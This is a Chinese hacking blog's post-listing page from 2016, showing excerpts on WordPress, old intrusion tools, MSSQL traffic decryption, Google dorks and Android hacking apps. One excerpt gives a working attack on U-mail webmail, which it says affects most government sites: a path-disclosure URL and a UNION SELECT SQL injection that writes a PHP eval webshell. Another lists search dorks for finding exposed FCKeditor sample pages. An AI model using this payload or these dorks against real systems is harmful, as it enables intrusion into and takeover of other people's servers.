摘要: WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。 也可以把 WordPress当作一个内容管理系统(CMS)来使用。WordPress是一款个人博客系统,并逐步演化成一款内容管理系统软件,它是使用PHP语言和MySQL数据库开 阅读全文
posted @ 2016-10-01 21:12 HACK--逍遥散人 阅读(1599) 评论(0) 推荐(0)
摘要: 前言 每一段岁月,都会留下属于时代的记忆——那些年,我们所追逐与热衷的安全工具,亦是如此。 在那个信息不对称的年代,安全工具主要是在小圈子内传播。当年天真的我们(脚本小子),以为网络就是江湖,一套完美的工具就是你的兵器——路见不平一声吼,碰到注入亮阿D。 注:由于年代久远,当年的工具大多已停止更新, 阅读全文
posted @ 2016-10-01 21:11 HACK--逍遥散人 阅读(941) 评论(0) 推荐(0)
摘要: 大部分网站政府网站U-mail存在直接拿shell漏洞加入webmail/userapply.php?execadd=333&DomainID=111直接爆出物理地址 然后将 aa' union select 1,2,3,4,5,6,'<?php eval($_POST1);?>',8,9,10,1 阅读全文
posted @ 2016-10-01 21:09 HACK--逍遥散人 阅读(2417) 评论(0) 推荐(0)
摘要: 最近的一次渗透测试里,在我们捕获的一些数据包中发现了一些未经加密的 Microsoft SQL Server(MSSQL) 流量。起初,我们认为这样就可以直接嗅探到认证凭证,然而,MSSQL 加密了认证的流量,这就意味着我们需要先解密才能获取到认证凭证。如果安装的是一个自签名证书,就很容易进行破解。 阅读全文
posted @ 2016-10-01 21:07 HACK--逍遥散人 阅读(521) 评论(0) 推荐(0)
摘要: 关键词:inurl:detail_product.asp?lang=/FCKeditor/_samples/asp/sample01.asp/FCKeditor/_samples/asp/sample02.asp/FCKeditor/_samples/asp/sample03.asp/FCKedit 阅读全文
posted @ 2016-10-01 21:06 HACK--逍遥散人 阅读(901) 评论(0) 推荐(0)
摘要: 免责声明:本站所发布的此份清单仅供学习之用。我们不支持读者利用其中的任何工具进行任何不道德的恶意攻击行为。 根据业界的一系列评测以及亲身经验,我们整理出了这份最佳Android黑客应用清单。除了对应用本身的说明之外,还将提供与之相关的网站以及下载链接,从而帮助大家立即安装尝试。 AndroRAT A 阅读全文
posted @ 2016-10-01 21:05 HACK--逍遥散人 阅读(3981) 评论(0) 推荐(1)